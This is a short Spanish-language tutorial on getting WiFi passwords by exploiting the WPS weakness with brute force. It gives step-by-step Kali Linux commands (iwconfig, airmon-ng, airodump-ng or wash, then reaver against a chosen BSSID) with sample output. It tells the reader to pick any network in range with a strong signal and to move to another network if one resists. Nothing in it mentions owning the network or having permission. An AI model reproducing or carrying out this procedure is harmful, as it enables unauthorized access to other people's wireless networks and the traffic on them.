Obtener contraseña Wifi con protección WPA o WPA2

Como obtener contraseñas de una red WiFi explontando vulnerabilidad WPS mediante fuerza bruta.

Primero vemos la información de las interfaces WiFi que tenemos en nuestra computadora

root@root-kali:~# iwconfig

En mi caso me devuelve esta información:

root@root-kali:~# iwconfig
wlan0     IEEE 802.11  ESSID:"nombre-red"  
          Mode:Managed  Frequency:2.412 GHz  Access Point: 84:26:15:E2:C0:B4   
          Bit Rate=26 Mb/s   Tx-Power=15 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=43/70  Signal level=-67 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:110   Missed beacon:0

wlan1     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

Aparecen 2 interfaces, wlan0: es la placa de red que trae la computadora, que esta conectada en este momento a una red WiFi y wlan1 es una placa de red USB que instale para hacer las pruebas. En su caso utilicen la que tengan.
Luego tenemos que poner la placa WiFi en modo monitoreo (al hacer esto si estan conectados a una red con esta placa se quedaran sin conexión).

root@root-kali:~# airmon-ng start wlan1

En mi caso me devuelve esta información:

root@root-kali:~# airmon-ng start wlan1

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  568 NetworkManager
  817 wpa_supplicant
  886 dhclient

PHY	Interface	Driver		Chipset

phy0	wlan0		iwlwifi		Intel Corporation Centrino Wireless-N 135 (rev c4)
phy1	wlan1		ath9k_htc	Atheros Communications, Inc. AR9271 802.11n

		(mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)
		(mac80211 station mode vif disabled for [phy1]wlan1)

En la siguiente linea nos dice que nuestra placa esta en monitor mode con el nombre wlan1mon:
mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon.
Una vez que tenemos la placa monitoreando podemos ejecutar alguno de estos comandos para escanear las redes.

root@root-kali:~# airodump-ng wlan1mon

o

root@root-kali:~# wash -i wlan1mon

Esto nos mostrará una lista de redes a nuestro alcance. Elegimos una y copiamos su BSSID. Te recomiendo seleccionar una red con buena intensidad, eso ayudará al proceso.
Entonces tenemos que ejecutar este comando: reaver -i monitormode -c channel -b targetbssid -vv
Y cambiamos los valores por los nuestros. Por ejemplo:

root@root-kali:~# reaver -i wlan1mon -c 11 -b 34:4B:50:3C:53:79 -vv

Te recomiendo que veas la respuesta por que hay routers que estan protegidos y devuelven respuestas de este tipo:
WARNING: Failed to associate w…
WARNING: Receive timeout occurred..

Entonces deberemos probar con otra red.

Ahora a esperar!!!
reaver intentará conseguir la clave de la red mediante ataques de fuerza bruta, lo que no es muy rápido que digamos. En mi experiencia tardó más de un día.